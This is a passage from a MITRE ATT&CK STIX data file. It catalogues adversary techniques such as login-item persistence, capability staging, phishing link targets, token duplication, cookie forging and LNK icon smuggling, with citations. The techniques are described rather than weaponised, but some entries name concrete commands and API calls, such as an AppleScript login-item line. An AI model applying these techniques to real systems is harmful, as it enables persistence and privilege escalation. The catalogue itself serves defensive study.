                    "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
                    "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
                },
                {
                    "source_name": "SMLoginItemSetEnabled Schroeder 2013",
                    "description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/"
                }
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            "modified": "2025-10-24T17:49:03.355Z",
            "name": "Login Items",
            "description": "Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call <code>SMLoginItemSetEnabled</code>.\n\nLogin items installed using the Service Management Framework leverage <code>launchd</code>, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the \u201cSystem Events\u201d process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as <code>tell application \u201cSystem Events\u201d to make login item at end with properties /path/to/executable</code>.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code>.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0",
            "created": "2021-03-17T20:04:09.331Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608",
                    "external_id": "T1608"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
                },
                {
                    "source_name": "Netskope GCP Redirection",
                    "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
                },
                {
                    "source_name": "Netskope Cloud Phishing",
                    "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "DigiCert Install SSL Cert",
                    "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
                    "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
                },
                {
                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                },
                {
                    "source_name": "Malwarebytes Heroku Skimmers",
                    "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
                    "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
                },
                {
                    "source_name": "Dragos Heroku Watering Hole",
                    "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
                    "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
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            "modified": "2025-10-24T17:49:03.444Z",
            "name": "Stage Capabilities",
            "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",
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                    "phase_name": "resource-development"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701",
            "created": "2021-03-17T20:35:08.429Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608/005",
                    "external_id": "T1608.005"
                },
                {
                    "source_name": "Netskope GCP Redirection",
                    "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
                },
                {
                    "source_name": "Netskope Cloud Phishing",
                    "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
                    "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
                },
                {
                    "source_name": "URI Unique",
                    "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
                    "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
                },
                {
                    "source_name": "Kaspersky-masking",
                    "description": "Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.",
                    "url": "https://www.kaspersky.com/blog/malicious-redirect-methods/50045/"
                },
                {
                    "source_name": "Talos IPFS 2022",
                    "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.",
                    "url": "https://blog.talosintelligence.com/ipfs-abuse/"
                },
                {
                    "source_name": "Malwarebytes Silent Librarian October 2020",
                    "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
                    "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
                },
                {
                    "source_name": "URI",
                    "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
                    "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
                },
                {
                    "source_name": "URI Use",
                    "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
                    "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
                },
                {
                    "source_name": "iOS URL Scheme",
                    "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
                    "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
                },
                {
                    "source_name": "Intezer App Service Phishing",
                    "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
                    "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
                },
                {
                    "source_name": "Proofpoint TA407 September 2019",
                    "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
                },
                {
                    "source_name": "Cofense-redirect",
                    "description": "Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.",
                    "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"
                },
                {
                    "source_name": "mandiant-masking",
                    "description": "Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
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            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.683Z",
            "name": "Link Target",
            "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
            "created": "2017-05-31T21:31:15.935Z",
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            "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.",
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            "created": "2023-08-18T20:50:04.222Z",
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                    "url": "https://attack.mitre.org/techniques/T1657",
                    "external_id": "T1657"
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                {
                    "source_name": "VEC",
                    "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.",
                    "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."
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                    "source_name": "Crowdstrike-leaks",
                    "description": "Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.",
                    "url": "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/"
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                    "source_name": "Mandiant-leaks",
                    "description": "DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs"
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                {
                    "source_name": "DOJ-DPRK Heist",
                    "description": "Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023.",
                    "url": "https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and"
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                {
                    "source_name": "FBI-BEC",
                    "description": "FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023.",
                    "url": "https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view"
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                    "source_name": "FBI-ransomware",
                    "description": "FBI. (n.d.). Ransomware. Retrieved August 18, 2023.",
                    "url": "https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf"
                },
                {
                    "source_name": "AP-NotPetya",
                    "description": "FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023.",
                    "url": "https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2"
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                {
                    "source_name": "Internet crime report 2022",
                    "description": "IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023.",
                    "url": "https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf"
                },
                {
                    "source_name": "BBC-Ronin",
                    "description": "Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.",
                    "url": "https://www.bbc.com/news/technology-60933174"
                },
                {
                    "source_name": "wired-pig butchering",
                    "description": "Lily Hay Newman. (n.d.). \u2018Pig Butchering\u2019 Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023.",
                    "url": "https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/"
                },
                {
                    "source_name": "NYT-Colonial",
                    "description": "Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023.",
                    "url": "https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html"
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            "name": "Financial Theft",
            "description": "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1684/001) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)",
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                    "external_id": "T1480"
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                {
                    "source_name": "FireEye Outlook Dec 2019",
                    "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html"
                },
                {
                    "source_name": "Trellix-Qakbot",
                    "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.",
                    "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"
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                {
                    "source_name": "FireEye Kevin Mandia Guardrails",
                    "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.",
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            "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)",
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                    "external_id": "T1619"
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                    "description": "Amazon - ListObjectsV2. Retrieved October 4, 2021.",
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                    "source_name": "List Blobs",
                    "description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.",
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                {
                    "source_name": "Volexity SolarWinds",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                },
                {
                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
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            "modified": "2025-10-24T17:49:04.036Z",
            "name": "Web Cookies",
            "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)",
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                    "url": "https://attack.mitre.org/techniques/T1654",
                    "external_id": "T1654"
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                {
                    "source_name": "Permiso GUI-Vil 2023",
                    "description": "Ian Ahl. (2023, May 22). Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor. Retrieved August 30, 2024.",
                    "url": "https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/"
                },
                {
                    "source_name": "SIM Swapping and Abuse of the Microsoft Azure Serial Console",
                    "description": "Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.",
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                {
                    "source_name": "Cadet Blizzard emerges as novel threat actor",
                    "description": "Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"
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                {
                    "source_name": "WithSecure Lazarus-NoPineapple Threat Intel Report 2023",
                    "description": "Ruohonen, S. & Robinson, S. (2023, February 2). No Pineapple! -DPRK Targeting of Medical Research and Technology Sector. Retrieved July 10, 2023.",
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            "description": "Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).\n\nHost binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent\u2019s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)\n\nAdversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.\n\nIn addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.(Citation: Permiso GUI-Vil 2023)",
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            "created": "2020-02-18T16:39:06.289Z",
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                    "url": "https://attack.mitre.org/techniques/T1134/001",
                    "external_id": "T1134.001"
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                {
                    "source_name": "DuplicateToken function",
                    "description": "Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024.",
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            "description": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.",
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            "created": "2020-03-09T14:51:11.772Z",
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            "description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ",
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            "description": "Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user. \n\nMany enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.\n\nIn some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. ",
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                    "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
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            "created": "2023-09-29T15:28:42.409Z",
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                    "source_name": "Unprotect Shortcut",
                    "description": "Unprotect Project. (2019, March 18). Shortcut Hiding. Retrieved October 3, 2023.",
                    "url": "https://unprotect.it/technique/shortcut-hiding/"
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                    "description": "Weyne, F. (2017, April). Booby trap a shortcut with a backdoor. Retrieved October 3, 2023.",
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            "description": "Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory. \n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., [Malicious File](https://attack.mitre.org/techniques/T1204/002)), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)/[System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218) arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads. \n",
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            "created": "2020-10-01T00:50:29.936Z",
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                    "url": "https://attack.mitre.org/techniques/T1583/006",
                    "external_id": "T1583.006"
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                {
                    "source_name": "Hacker News GitHub Abuse 2024",
                    "description": "Dvir Sasson. (2024, May 13). GitHub Abuse Flaw Shows Why We Can't Shrug Off Abuse Vulnerabilities in Security. Retrieved March 31, 2025.",
                    "url": "https://thehackernews.com/expert-insights/2024/05/github-abuse-flaw-shows-why-we-cant.html"
                },
                {
